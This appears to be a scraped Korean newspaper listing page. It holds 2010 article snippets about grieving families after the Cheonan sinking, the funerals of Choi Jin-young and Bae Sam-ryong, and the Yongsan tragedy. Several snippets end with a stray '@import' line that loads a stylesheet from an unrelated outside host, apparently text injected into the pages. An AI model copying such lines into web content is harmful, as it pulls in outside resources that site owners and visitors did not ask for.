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  • 김소원 앵커, ‘천안함 사건’ 눈물보도 화제

    김소원 앵커, ‘천안함 사건’ 눈물보도 화제

    김소원 SBS 앵커가 생방송 도중 천안암 침몰사건을 보도하며 눈물을 보여 시청자들을 안타깝게 했다. 지난 16일 오후 SBS ‘8시 뉴스’를 진행하는 김소원 앵커는 마른 목소리 톤으로 천안함 침몰사건에 대한 소식을 전했다. 이날 뉴스에선 차가운 시신으로 돌아온 장병들의 사연과 눈물로 얼룩진 유가족들의 모습이 비춰졌다. 사랑하는 가족을 잃은 유가족들은 장병들과의 추억을 이야기하며 끝내 울음을 터트렸다. 특히 이를 본 김소원 앵커도 눈물을 흘려 슬픔을 더욱 깊게 만들었다. 김소원 앵커는 사망한 조리병들의 이야기를 전달하며 “전역하면 맛있는 요리를 만들어주겠다던 장병들은 차갑게 식은 채 돌아왔다.”라고 울먹였다. 방송을 본 한 시청자들 역시 “김소원 앵커 때문에 더욱 슬픈 뉴스였다. 비참한 사연을 솔직한 감정을 담아 보도한 김소원 앵커 때문에 가슴이 찡했다.” “끝내 눈물을 흘린 김소원 앵커와 유가족들을 보면서 함께 울었다.”며 함께 눈가를 적셨다. 한편 지난 1월 13일 김소원 앵커는 ‘뉴스를 잘 보고 있다’는 익명의 한 시청자로부터 꽃바구니 속에 담긴 거액의 돈을 받았다가 곧바로 돌려줘 화제가 된 바 있다. 사진 = 서울신문NTN DB 서울신문NTN 김경미 기자 84rornfl@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 철원 GOP 경계근무병 총기사고 1명 사망

    강원 철원 3사단 소속 일반전초(GOP)에서 총기 사고로 사병 1명이 14일 사망했다. 군은 15일 “14일 오전 7시55분쯤 3사단 소속 GOP 경계병인 송모 일병이 가슴 등 4곳에 총상을 입고 쓰러져 경기 포천시 국군일동병원에 후송했지만 사망했다.”고 밝혔다. 하지만 유가족들은 송 일병의 손바닥에 총상이 있고, 함께 근무를 섰던 병사들은 4발의 총소리를 들었다고 진술한 반면 경계 투입 때 탄알 15발을 지급받은 송 일병의 K2 소총에는 8발만 남아 있어 피격 의혹을 제기하고 있는 것으로 알려졌다. 이에 따라 육군은 3사단 헌병대장과 육군본부 소속 수사관으로 조사팀을 꾸리고 정확한 사망원인 등을 조사하고 있다. 김정은기자 kimje@seoul.co.kr
  • 희생·실종장병 자녀들 해군서 장학금 받는다

    천안함 침몰사고 희생 및 실종장병 자녀들에게 해군참모총장 장학금과 서해장학금이 지급된다. 또 작전 중에 사고가 발생한 만큼 희생·실종자를 전사 또는 순직 처리하는 쪽으로 국방부와 해군이 논의 중이다. 해군 관계자는 9일 “해군참모총장 장학금은 주로 공부를 잘하는 학생을 대상으로 지급됐으나 천안함 실종자들이 국가에 기여한 바가 인정돼 이같이 결정했다.”고 밝혔다. 해군은 현재 구체적인 장학금 액수 및 지급 방식에 대해 검토하고 있다. 해군 관사나 아파트도 계속 이용할 수 있다. 한편 김성찬 해군참모총장은 고(故) 김태석 상사의 가족들을 위로차 방문해 김 상사의 부인 이수정(36)씨 등 유가족들에게 “국가를 위해 헌신한 사람은 국가가 보살펴 준다.”면서 “해군이 (김 상사의)세 딸들을 끝까지 지원할 것”이라고 밝혔다. 이에 이씨는 “믿을 사람은 전우들밖에 없다.”고 말했다. 김양진기자 ky0295@seoul.co.kr
  • [천안함 침몰 이후]UDT 군가로 마지막길 배웅

    [천안함 침몰 이후]UDT 군가로 마지막길 배웅

    “빨리 일어나십시오. 못다 이룬 임무를 완수해야 하지 않습니까.” 지난 3일 경기도 성남 국군수도병원에서 거행된 고 한주호 준위의 영결식. 떠나는 선배를 못내 아쉬워하며 복받치는 울음을 토해낸 해군특수전부대 수중폭파팀(UDT) 장병들의 모습은 이날 하루 전국을 눈물바다로 만들었다. 장례형식은 해군장으로 치러졌지만 국무총리가 참석했고 동료장병, 일반시민까지 1000여명이 영결식장 안팎을 빼곡히 메웠다. 후배 김창길 준위도 추도사 내내 흐르는 눈물을 참지 못했다. “저 깊은 서해 바다 밑에서는 선배님을 기다리고 있습니다. 어디로 가시려고 일어나지 않는 것입니까. 선배는 늘 후배들에게 지옥에서 살아오라고 하지 않으셨습니까.”라며 목이 메었다. 식장은 고인을 차마 보낼 수 없다는 유족들의 울음소리와 비통해하는 동료, 선후배들로 영결식 내내 침통한 분위기였다. 헌화가 시작되자 유족들에 이어 장의위원장인 김성찬 해군참모총장, 전두환 전 대통령, 정운찬 총리, 김태영 국방부장관이 고인의 가는 길에 국화꽃을 얹었다. 정부가 추서한 충무무공훈장은 영정 앞에 놓였다. ☞[사진]故한주호 준위 눈물의 영결식 영결식이 끝나고 시신이 운구되며 식장을 빠져나려는 순간 UDT대원들이 운구행렬을 멈춘 뒤 식장이 떠나가도록 ‘사나이 UDT가’를 부르며 통곡했다. 성남화장장에서 1시간여 화장 절차를 거친 한 준위의 유골은 납골함에 담겨 대전 국립현충원에 안장됐다. 안장식은 김 해군참모총장 등 700여명이 참석한 가운데 엄숙하게 치러졌다. 식장 주변에는 시민 300여명도 함께 자리해 거룩한 고인의 희생과 참군인 정신을 실천한 고인에게 깊은 애도를 표하며 마지막 가는 길을 지켜봤다. 유가족들은 감사의 말도 빼놓지 않았다. 아들 상기씨는 “슬픔은 이루 말할 수 없지만 아버님의 유훈과 유지, 명예를 더럽히지 않도록 좋은 모습을 보여드리겠다.”고 다짐했다. 영결식이 하루 지난 4일에도 네티즌들의 추모물결은 이어졌다. 50이 넘은 나이에 후배 장병을 구하기 위해 직접 물속으로 뛰어든 한 준위를 ‘이 시대 진정한 영웅’이라며 추모했다. 포털 다음 아고라에는 지난달 30일부터 한 준위를 애도하는 수천여건의 서명운동이 이어지고 있다. 한 네티즌은 “당신 같은 분이 계셨기에 오늘 하루도 힘차게 살아가는 국민들이 존재하는것 같습니다.”라는 애도의 글도 올려져 있다. 윤상돈기자 yoonsang@seoul.co.kr
  • [천안함 침몰 이후] “조국은 한주호 준위를 영원히 잊지 않을 것”

    [천안함 침몰 이후] “조국은 한주호 준위를 영원히 잊지 않을 것”

    이명박 대통령은 2일 “대한민국과 우리 국민들은 천안함 실종자 수색작업을 벌이다 순직한 고(故) 한주호 준위를 잊지 않을 것”이라고 말했다. ☞ [사진] 한주호 준위 영결식 ☞ [사진] 살신성인 故한주호 준위 이 대통령은 경기 성남 국군수도병원에 있는 고인의 빈소를 찾아 조문한 뒤 유가족들에게 이같이 말했다. 이 대통령은 한 준위의 부인, 현역 중위인 아들과 딸 등 유가족들을 위로했다. 이 대통령은 조문을 마친 뒤 참모들에게 “한 준위는 통상적 활동 중에 사고를 당한 것이 아니라 전투 상황에 준하는 상황이었던 만큼 품격도 높이는 등 예우하는 게 마땅하다.”면서 “무공훈장을 수여할 수 있도록 검토하라.”고 지시했다. 이에 따라 국방부는 당초 추서키로 한 보국훈장 광복장과 함께 충무 무공훈장도 영결식전에 새로 추서키로 했다. 충무무공훈장은 직접 전투에 참가해 중대한 임무를 성공적으로 수행해 공적이 뚜렷한 사람에게 수여하는 훈장이다. ☞[사진]침몰 천안함… ‘무심한 하늘’ 앞서 이 대통령은 청와대에서 한나라당 정몽준 대표와 조찬회동을 갖고 천안함 침몰사고와 관련, “북한과 국제사회가 보기 때문에 차분히 원인을 조사하고 국가 역량을 높이는 계기로 삼아야 한다.”고 말했다. 김성수 주현진기자 sskim@seoul.co.kr
  • [천안함 침몰 이후] “부대 일이라면 몸 안 아끼던 분”…온종일 울음바다

    [천안함 침몰 이후] “부대 일이라면 몸 안 아끼던 분”…온종일 울음바다

    “우리의 영웅입니다.” “ 뭐라고 말씀 드려야 할지 모르겠습니다. 정말로 미안합니다.” 31일 경기 성남 국군수도병원. 전날 천안함 실종자 수색 작업 중 순직한 고(故) 한주호 준위의 빈소에는 고인의 숭고한 뜻을 기리기 위한 발길이 이어진 가운데 하루종일 울음바다를 이뤘다. 유가족들은 비통함에 몸조차 가누지 못했다. 정부는 한 준위의 고귀한 희생을 받들어 보국훈장 광복장을 추서했다. 이명박 대통령은 “고 한 준위는 국가를 위해 헌신한 군인으로, 35년을 나라에 바쳤다.”면서 “최고의 예우를 갖추라.”고 참모들에게 지시했다. 정정길 대통령실장은 유족들을 만나 “대통령도 고인의 희생을 애통하게 생각한다.”며 이 대통령의 서신을 전달했다. 김태영 국방부 장관은 고인의 빈소를 찾아 분향하고, 영정앞에 훈장을 바쳤다. 김 장관은 고인의 부인 김말순씨 등 유가족들을 위로하고 “(한 준위는) 우리의 영웅”이라면서 “앞으로 추가 희생이 나오지 않도록 최선을 다하겠다.”고 말했다. 원태재 국방부 대변인은 “한 준위의 고귀한 희생정신을 기리고, 군인정신의 표상으로 삼는다는 의미에서 보국훈장 광복장을 추서했다.”고 밝혔다. 김성찬 해군참모총장은 고인의 아들인 한상기(25·육군1사단) 중위의 얼굴을 어루만지며 “힘내자.”고 위로의 말을 건넸다. 김씨는 “부대 일이라면 자기 몸을 안 아끼던 분이었다.”며 슬픔을 감추지 못하면서도 정부가 추진하는 1계급 특진에는 “그렇게까지 해주지 않으셔도 된다.”며 완곡히 사양한 것으로 전해졌다. 실종자 가족 7명도 빈소를 찾았다. 이들은 자신의 가족을 구하려다 숨진 한 준위의 영정 사진을 보고는 금방 울음을 터뜨렸다. 울음을 참고 있던 유가족들도 실종자 가족들과 얼굴을 마주하자 다시 오열하면서 빈소는 울음바다로 변했다. 실종자 정범구 상병의 할머니 이상옥씨는 김씨의 손을 잡고 “뭐라 말씀드리겠습니까….”라고 흐느끼며 “정말 미안합니다.”라고 위로했다. 그러나 김씨는 이 할머니에게 “이건 아닙니다.”라며 “우리 금쪽같은 내 새끼 아버지인데….”라며 말을 잇지 못했다. 실종자 이창기 원사의 형인 이성기씨는 “저희가 바라는 것은 실종자 구조 과정에서 이런 일이 발생하는 게 아니었다.”며 위로했다. 동료 및 선후배들의 조문행렬도 이어졌다. 시신이 안치된 전날 밤부터 50여명의 부대원이 자리를 지키며 조문객들을 맞았다. 이들은 한결같이 “한 준위는 군인 중의 군인이었다.”며 안타까워했다. 정운찬 국무총리는 조문 뒤 “고인을 지키지 못해 죄인이 된 기분”이라며 비통한 심정을 감추지 못했다. 일반 시민들의 발길도 이어지고 있다. 정부는 고인의 영결식을 3일장에서 5일장으로 늘려 3일 국군수도통합병원에서 해군장으로 엄수하고 대전 국립현충원에 안장키로 했다. 윤상돈 홍성규기자 yoonsang@seoul.co.kr ☞ [사진] 실낱같은 희망이라도…천안함 침몰 그후 ☞ [사진] 살신성인 故한주호 준위
  • [NTN포토]’ 故 최진영 가는길’ 배웅하는 유가족들

    [NTN포토]’ 故 최진영 가는길’ 배웅하는 유가족들

    故 최진영의 영결식이 31일 오전 서울 도곡동 강남세브란스병원에서 열린 가운데 유가족들이 故 최진영을 배웅하고 있다.지난 29일 오후 서울 논현동 자택에서 목을 매 숨진 채 발견된 故 최진영은 성남시립승화원에서 화장된 후, 유해는 누나 故 최진실이 영면해 있는 경기도 양수리 갑산공원에 안치된다.서울신문NTN 현성준 기자 gus@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NTN포토] 故 최진영, 편히 잠들길···

    [NTN포토] 故 최진영, 편히 잠들길···

    故 최진영의 영결식이 31일 오전 서울 도곡동 강남세브란스병원에서 열린 가운데 유가족들이 영정사진을 들고 나오고 있다.지난 29일 오후 서울 논현동 자택에서 목을 매 숨진 채 발견된 故 최진영은 성남시립승화원에서 화장된 후, 유해는 누나 故 최진실이 영면해 있는 경기도 양수리 갑산공원에 안치된다.서울신문NTN 현성준 기자 gus@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 조성민, 출입저지에도 빈소 찾아 조문

    조성민, 출입저지에도 빈소 찾아 조문

    故 최진영의 갑작스런 사망 소식을 전해 들은 故 최진실의 전 남편 조성민도 빈소를 찾았다.조성민은 29일 오후 4시 20분께 故 최진영의 빈소가 마련된 서울 강남 세브란스병원을 찾아 고인의 영정 사진을 마주했다.그러나 영안실을 옮기면서 유가족들은 조성민을 들여보내지 말라고 한 것으로 알려졌다. 조성민은 보안요원들의 저지를 뿌리치고서야 입장이 가능했다.유가족들의 출입 저지가 있었지만 조성민은 이영자 등과 함께 고인의 빈소를 지켰다.조성민 외에도 故 최진영과 친분이 두터웠던 이영자, 이소라, 엄정화, 손현주, 윤유선, 윤해영, 유지태, 가수 김창렬 등이 빈소를 찾아 조문했다. 사진=서울신문NTN DB서울신문NTN 이재훈 기자 kino@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 문성근 “영화로 유족들 위로하고 싶다”

    문성근 “영화로 유족들 위로하고 싶다”

    한국전쟁 당시 발생한 ‘노근리 사건’을 소재로 한 영화 ‘작은 연못’이 8년 만에 완성작을 선보였다. 고인이 된 박광정을 포함해 김뢰하, 이대연, 문소리, 송강호, 박노식, 유해진 등과 함께 배우 문성근, 강신일, 김승욱, 전혜진 등이 노개런티로 출연했다. 18일 오후 4시 왕십리CGV에 열린 영화 ‘작은 연못’의 언론시사 및 기자간담회 자리에 참석한 문성근은 “이 영화가 노근리 사건 유족들에게 위로가 될 수 있으면 좋겠다.”라고 출연소감을 밝혔다. 문성근은 “88년 이상우 감독과 인혁당 사건을 다룬 연극을 했다. 흥행은 참담하게 실패했지만 간혹 유족들이 공연을 보러 온 적 있었다. 그들 앞에서 연기하기가 힘들었다.”며 20여 년 전 이상우 감독과의 작업을 회상했다. 그는 이어 “그후 재심 결과 무죄로 판명 난 이후에 유족분들이 찾아와 ‘연극해 준 것 고마웠다. 그 연극으로 힘을 많이 받았다.’고 말해줬다. 그 말 들으니 기분이 좋았다. 이 영화도 유족들에게 위로가 됐으면 좋겠다.”는 바람을 전했다. 사건 발생 60년 만에 영화로 완성된 ‘작은 연못’은 노근리 사건을 경험한 생존자들과 유가족들이 60년 동안 가슴 속에 간직해온 이야기를 통해 한국전쟁을 재조명하는 한편 평화의 메시지를 전달하고자하는 의도를 담고 있다. 개봉은 4월 15일. 서울신문NTN 이재훈 기자 kino@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 故 배삼룡 빈소, 후배들 추모의 말말말

    故 배삼룡 빈소, 후배들 추모의 말말말

    원로 코미디언 배삼룡이 23일 향년 84세로 타계했다는 소식에 희극인들의 조문이 이어졌다.故 배삼룡은 1990년 중반 흡인성 폐렴으로 입원 치료 중이던 서울 풍납동 아산병원 응급실에서 23일 오전 2시 패혈증으로 별세했다.아산병원 35호실에 빈소가 차려진 장례식장은 유가족들의 오열과 통곡이 주위로 하여금 안타깝게 했다. 특히 빈소가 차려진 장례식장에 원로 희극동료를 비롯한 후배, 각계각층의 인사들 행렬이 줄을 잇고 있다.먼저 빈소를 찾은 김미화는 “배삼룡 선배는 내 마음의 영웅이었다. 많은 사람에게 웃음을 준 위대한 분이었다.”고 조문을 표했으며 연이어 빈소를 찾은 조문객 이상용, 이상해, 남보원, 엄용수, 배일집, 홍록기, 이홍렬, 이용식, 이성미, 이영자, 주병진, 이봉원, 오나미, 이윤석, 독고영재, 진미령, 서경석, 박명수, 조춘, 박미선, 송은이, 신봉선, 김숙, 윤택, 권진영, 이경실, 강호동, 심형래, 임하룡, 강유미, 배연정, 김경식 등이 고인을 추모했다.또한 23일 오후 2시경 이명박 대통령이 근조화환을 보냈고 노회찬 진보신당 대표도 조화를 보내 추모의 뜻을 전달했다. 이어 문화체육관광부 유인촌 장관과 나경원 한나라당 의원이 빈소를 찾았다.한편 지난 2006년 행사장에 쓰러진 배삼룡은 폐렴과 천식 판정을 받고 치료에 매진했었다. 이후 서울아산병원에서 입원 치료, 건강이 악화된 지난달 7일부터 배삼룡은 일반병실과 집중 관찰실을 오가다 결국 중환자실로 옮겼져 심폐소생술을 시도 했으나 이내 운명을 달리했다.배삼룡 측은 지난해 12월 병원과 진료비 청구소송에서 패소해 체납된 입원치료비 1억 3,000만원 및 소송비용 등을 포함한 2억 원에 가까운 금액을 배상할 책임을 지게 됐다.이하 동료 후배 추모의 말▶이상용 “배삼룡은 국민들을 웃게하기 위해 자기 몸을 태우는 분이셨다.” ▶이상해 “하늘에서도 웃음 주는 분이었으면 한다.” ▶엄용수 “이번 설 이틀 전에도 찾아갔었지만 중환자실에 계셔서 못뵈고 돌아온 게 안타깝다.” ▶이용식 “그는 천재적인 바보였다.” ▶이봉원 “내가 특히 선배님의 슬랩스틱 코미디, 콩트 스타일을 좋아하기 때문에 너무나 존경했는데 그 대를 잇지 못해 송구스럽다.” ▶임하룡 “건강하게 더 오래 사셨으면 얼마나 좋았을까 싶고 안타깝다.”, 송해는 “60~70년대 어려운 시기에 국민들에게 희망을 주던 분이다.” ▶이윤석 “제 국민약골이라는 캐릭터는 99%가 선생님이 만들어주신 거다. 그립기도 하고 너무 죄송하다.” 서울신문NTN 이규하 기자 judi@seoulntn.com / 사진=한윤종 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NTN포토] ‘故 배삼룡 유가족’ 위로하는 구봉서

    [NTN포토] ‘故 배삼룡 유가족’ 위로하는 구봉서

    코미디언 구봉서가 24일 오전 서울 송파구 아산병원에서 차려진 故 배삼룡(본명 배창순)의 빈소를 찾아 유가족들을 위로하고 있다.故 배삼룡은 1990년 중반 흡인성 폐렴으로 입원 치료 중이던 서울 풍납동 아산병원 응급실에서 23일 오전 2시 패혈증으로 별세했다.서울신문NTN 현성준 기자 gus@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 원로 코미디언 배삼룡 타계

    원로 코미디언 배삼룡 타계

    원로 코미디언 배삼룡이 23일 향년 84세로 타계했다.배삼룡은 흡인성 폐렴으로 입원 치료 중이던 서울 풍납동 아산병원 응급실에서 23일 오전 2시 패혈증으로 사망했다.지난달 23일 병세가 악화된 배삼룡을 중환자실로 옮겼지만 병세가 곧 회복돼 일반 병실에서 치료를 받았다.유가족들은 “중환자실로 옮겼지만 2주 만에 회복됐다.”며 “이렇게 돌아가실 줄은 몰랐다.”고 심경을 전했다.건강이 악화된 지난달 7일부터 배삼룡은 일반병실과 집중 관찰실을 오가다 결국 중환자실로 옮겼으며 23일 새벽 1시 40분경 의식이 없어 심폐소생술을 시도 했으나 이내 숨을 거뒀다.배삼룡은 사업 실패 등 병원비 2억 원을 체납한 사실이 알려지면서 후배 코미디언들이 모금운동을 펼치기도 했다.현재 고인이 된 배삼룡은 투병 생활을 하면서 체납된 병원비를 독촉 받자 1인실에서 6인실로 옮겨 치료를 받아왔었다.한편 빈소는 23일 오전 9시부터 아산병원 35호실에 마련됐고 5일장으로 치러져 27일 발인, 장지는 분당 휴납골공원에 안장될 예정이다.사진=서울신문NTN DB서울신문NTN 이규하 기자 judi@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 인권위 “용산참사 경찰 과잉조치” 의견제출

    지난해 1월 철거민 5명과 경찰특공대원 1명이 사망한 ‘용산참사’ 당시 경찰이 철거민을 진압하는 과정에서 위험을 알고도 무리하게 작전을 감행했다는 국가인권위원회의 판단이 나왔다. 인권위는 9일 용산참사 사건과 관련해 재정신청 사건이 진행 중인 서울고등법원에 “당시의 경찰권 행사는 주의의무를 다하지 못한 과잉조치였다.”는 의견을 제출했다고 밝혔다. 용산참사 유가족들은 검찰이 당시 진압작전을 지휘했던 경찰 수뇌부 등을 불기소 처분하자 이에 불복해 법원에 재정신청을 냈다. 인권위는 “진입계획을 수립한 경찰지휘부가 애초 진입계획을 세울 때 농성자들이 보유한 시너 화염병 등 위험물질에 대해 파악하고 있었고, 그에 대한 예방책도 마련했으나 정작 작전을 수행하면서 이 같은 위험성을 감안하지 않았다.”고 밝혔다. 인권위는 진입을 시도하는 경찰특공대원, 소방관에게 정보를 제공하지 않아 화재 발생 가능성에 적절하게 대처하지 못했다고 지적했다. 인권위는 또 “1차진입 당시 화재가 발생했고 망루 내부에 가연성 유증기가 가득 차 대형화재가 발생할 가능성이 컸음에도 작전을 변경하지 않고 무리하게 곧바로 2차 진입을 시도했다.”고 덧붙였다. 이어 “경찰이 화재 위험성이 높고 강제진압에 따라 농성자의 돌출행동이 예견되는 상황에선 더욱 신중히 공권력을 행사할 주의의무가 있지만 이를 소홀히 했다.”고 밝혔다. 한편 인권위는 용산참사 수사과정에서 철거민들을 심야조사하고 장시간 대기시키는 등 인권을 침해했다며 수사를 지휘한 해당 본부장과 검사에게 관련 규정에 대한 직무교육을 시킬 것을 검찰총장에게 권고했다. 김효섭기자 newworld@seoul.co.kr
  • 용산참사 1주기… 만화·그림책으로

    용산참사 1주기… 만화·그림책으로

    누구는 도심의 테러리스트라고 손가락질했다. 누구는 열사라고 치켜세웠다. 그러나 단란한 가정에서 소박한 행복을 꿈꾸던, 그저 보통 사람이며 우리의 이웃이었을 뿐이다. 용산 참사 1주기를 되돌아 보는 만화책 ‘내가 살던 용산’과 그림책 ‘파란집’이 보리출판사를 통해 나란히 출간됐다. ‘내가 살던 용산’에는 지난해 1월20일 숨진 고(故) 윤용헌·한대성·양회성·이상림·이성수씨 등 용산 철거민 5명의 삶을 보듬은 작품 5편과 참사가 일어난 당일 상황을 재구성한 작품 1편이 실려 있다. 김성희·김수박·김홍모·신성식·앙꼬·유승하 등 만화 작가 6명이 힘을 모았다. 만화가들은 감옥에 갇힌 철거민들을 면회하고, 참사 유가족들을 찾아 직접 이야기를 듣는 것은 물론, 각종 책과 영상, 현장 취재로 사실성을 높였다. 김홍모 작가가 그린 ‘망루’의 마지막 네 페이지에서 철거민들이, 고인들이 꿈꾸던 삶을 들여다 보노라면 그 삶이 너무나 평범한 탓에 가슴이 더욱 시려온다. ‘이렇게 오손도손 행복하게….’ 만화가들은 입을 모아 “유가족들을 만나면서 가장 마음에 남는 것은 성실하게 살아온 사람만이 가질 수 있는 목소리와 표정이었다.”면서 “우리가 모두 그렇듯 유가족들이 집으로 돌아가 일상의 피로와 슬픔을 위로받을 수 있기를 바란다. 그때가 우리 사회가 건강해지는 때일 것”이라고 말했다. ‘내가 살던 용산’의 판매수익금은 유가족들에게 기부된다. 1만 1000원. 이승현 작가가 그린 그림책 ‘파란집’은 들어가는 글, 나오는 글을 빼면 정말 그림만 있다. 아무런 설명이 없는 민중 판화 형식의 그림만으로도 충분한 메시지를 전달한다. 파란집은 보통 사람들이 희망을 갖고, 평화롭고 행복하게 살던 공간을 상징한다. 수없이 많던 파란집들은 그러나, 무자비한 강제 철거와 재개발에 밀려 점점 줄어들고, 망루가 되고, 결국 검은 연기 속으로 사라진다. 그림을 가득 메우던 검은 연기가 걷히면 아파트들이 빼곡하게 들어서 있다. 아파트 공화국이다. 재개발이 용산 철거민에게만 국한되는 일이 아니라는 것을 보여주고 있다. 들어가는 글에서 단단한 시멘트 보도블록을 비집고 간신히 돋아나던 파란 잎사귀는, 나오는 글에서 보도블록에 균열을 일으키는 노란 민들레 꽃으로 자라난다. “떠나지 못한 영혼과 남겨진 자의 눈물이 그 자리에 그대로 남아 있다.”고 말하는 이 작가는 희망을 역설하고 있는 셈이다. ‘내가 살던 용산’이나 ‘파란집’이나 어린이를 대상으로 한 작품치고는 무거운 이야기들이다. 이와 관련, 이 작가는 “우리가 사는 세상을 보여줄 수 있는 그림책도 있어야 한다고 생각한다.”면서 “개발도 중요하지만 사람이 산다는 게 더 중요하다는 것을 아이들에게 들려주고 싶었다.”고 강조했다. 9800원. 홍지민기자 icarus@seoul.co.kr
  • 135kg 女, 홧김에 애인 깔고 앉아 사망케 해

    135kg 女, 홧김에 애인 깔고 앉아 사망케 해

    몸무게가 135kg이나 나가는 비만 여성이 남자친구를 깔려죽게 한 사건이 벌어졌다. 미국 오하이오 클리블랜드에 사는 미아 랭딩험이란 여성은 지난 21일(현지시간) 말싸움을 하던 중 홧김에 남자친구에게 앉아 사망에 이르게 한 혐의로 법정에 섰다. 사건은 지난해 8월로 거슬러 올라간다. 랭딩험은 정식 부부사이는 아니지만 세 아이를 낳고 함께 산 미칼 미들스톤-베이를과 말다툼을 하던 중 홧김에 그를 공격했다. 체중이 54.4kg밖에 나가지 않는 미들스톤-베이를의 몸에 올라가 엉덩이로 짓눌러버린 것. 결국 이 남성은 이 사건으로 사망에 이르게 됐다. 법정에 선 랭딩험은 울먹거리며 “죄인이라 할말이 없지만 이런 상황이 온 것에 정말 미안하다. 다시 시간을 되돌릴 수 있으면 좋겠다.”고 말했다. 캐롤린 프라이드랜드 판사는 랜딩험에게 과실치사 혐의로 집행유예 3년과 자원봉사 100시간을 명령했다. 판결 직후 피해자의 유가족들은 “사망 사건에 대한 형량이 너무 낮다. 정의롭지 못한 판결이었다.”면서 항소의 뜻을 비쳤다. 한편 랜딩험 변호사는 법정에서 두 사람 사이에 오랫동안 가정 폭력이 있었으며 이를 참작해 달라고 요구한 바 있다. 사진=법정에 선 미아 랭딩험 서울신문 나우뉴스 강경윤기자 newsluv@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [용산참사 타결] 각계 반응·과제

    용산참사 협상이 타결된 30일 오후 7시 남일당 건물 옆에서 신자와 유족 등 120여명이 참석한 가운데 올해 마지막 미사가 진행됐다. 미사를 집전한 이강서 빈민사목위원회 신부는 “여러분에게 좋은 소식을 들려주게 돼 기쁘다.”면서도 “진상규명과 구속자 석방을 위해 계속 기도해야 한다.”고 말했다. 천주교정의구현사제단과 천주교서울대교구 빈민사목위원회는 오는 6일 추모미사를 마지막으로 현장에서 철수한다. ●종교·시민단체 “국민의 승리” 조계종은 대변인 원담스님 이름으로 낸 논평에서 “용산참사는 이 시대 우리가 안고 있는 대립과 단절의 상징이었다.”며 “이 문제가 원만히 해결된 것을 적극 환영하며 많은 시간 고통받았던 유가족들이 하루빨리 다시 일어나길 기원한다.”고 밝혔다. 한국기독교장로회 총회도 성명을 통해 “올해 막바지에 이르러 용산 문제에 전격 합의했다는 소식은 참으로 기쁘고 다행스러운 선물”이라면서 “정부와 서울시는 무분별한 난개발 정책을 지양하고 서민의 삶을 보호하는 데 보다 관심을 기울여야 한다.”고 주문했다. 시민단체들도 협상타결을 일제히 반겼다. 장대현 진보연대 대변인은 “유가족 보상 등이 일부 수용됐고, 늦었지만 장례를 치르게 된 것을 다행으로 생각한다.”고 말했다. 인도적 차원에서 접근했기 때문에 결실을 맺을 수 있었다는 반응이 주류였다. 이런 가운데 용산참사의 원인이 된 도시재개발 정책의 보완과 개선이 필요하다는 지적도 제기됐다. 개발사업자와 원주민, 상가 세입자 간의 대립이 해소되지 않는 상황에서 재개발 보상제도를 전면 재검토해야 한다는 것이다. 김남근 참여연대 민생희망본부장은 “최소한 상인이 시설에 투자한 비용은 보상금에 포함해야 한다.”며 “일본의 ‘퇴거료 보상제’처럼 다른 장소에서 비슷한 규모의 영업을 시작할 수 있는 비용을 지원해 줘야 한다.”고 주장했다. 최근희 서울시립대 도시행정학과 교수는 “권리금 문제 등을 제도권으로 수용하는 등 제도 개선이 이뤄져야 한다.”고 조언했다. ●故 김남훈 경장 부친 “장례식 찾을 것” 용산참사 진압과정에서 순직한 고(故) 김남훈 경장의 아버지 김권찬(55)씨는 “나는 아들의 장례를 치뤘지만 용산참사 철거민 희생자들의 유족은 이제야 장례를 치르게 됐다. 유족들이 1년 가까이 마음고생을 한 것을 생각하면 가슴이 아프다.”며 “잘잘못을 떠나서 고인들의 명복을 빌기 위해 장례식장을 찾을 것”이라고 말했다. 아들은 잃은 뒤 아버지 김씨는 술에 의지하며 많은 날을 보냈다고 털어놨다. 그는 “용산참사 현장을 지나갈 때마다 아들 생각이 나서 눈물을 수차례 훔쳤다. 아들 또래의 경찰을 보면 더욱 아들이 그리워서 견딜 수가 없었다.”고 토로했다. 강병철 안석기자 ccto@seoul.co.kr
  • [용산참사 타결] 항소심 진행 적용못해… 감형 기대

    용산참사가 극적으로 타결되면서 유가족들과 세입자, 용산 재개발조합 등 3자는 민·형사상 책임을 묻지 않기로 합의했다. 그러나 1심 판결이 이미 나온 용산참사 재판은 현재대로 진행될 수밖에 없다. 검찰은 특수공무집행방해치사상 등 혐의를 적용해 농성자들을 기소했고, 지난 10월 서울중앙지법은 “국가의 법질서 근간을 유린했다.”며 7명에 대해 징역 5~6년형을 선고했다. 이들 가운데 유족은 망루에서 숨진 이상림씨의 둘째아들 충연(36)씨뿐이다. 나머지는 전철련 간부 등 농성에 참여한 사람들이다. 검찰이 중대한 사정 변경을 감안해 자진해서 공소를 취소할 수 있지만, 형사소송법상 공소취소는 1심 판결 이전에나 가능하다. 일부 혐의를 조정하는 ‘공소장 변경’ 역시 법리 적용이 잘못됐을 때 하는 것이어서 용산참사 재판과는 관련이 없다. 항소심 공판을 맡게 된 검찰 관계자도 “합의는 서울시와 철거민들 사이의 문제이고, 기소와 재판은 사법권의 영역이기 때문에 별개의 문제”라고 말했다. 결국 민·형사상 책임을 묻지 말자는 합의가 현재 진행 중인 용산참사 재판에 영향을 미칠 수 있는 대목은 양형뿐이다. 변호인단 주장대로 무죄가 받아들여지지 않으면, 징역 5~6년형에서 감형되거나 집행유예로 낮아지는 경우다. 법원 관계자는 “사고나 과실에 대한 책임을 묻는 형사재판의 경우 피해자와의 합의 여부가 양형에 주요 참고사항”이라면서 “항소심 때 정부 차원에서 합의가 이뤄졌다는 점이 적극 부각되면 양형에 반영될 수 있다.”고 말했다. 조태성 김지훈기자 cho1904@seoul.co.kr
  • “관광버스 부적격 기사가 몰았다”

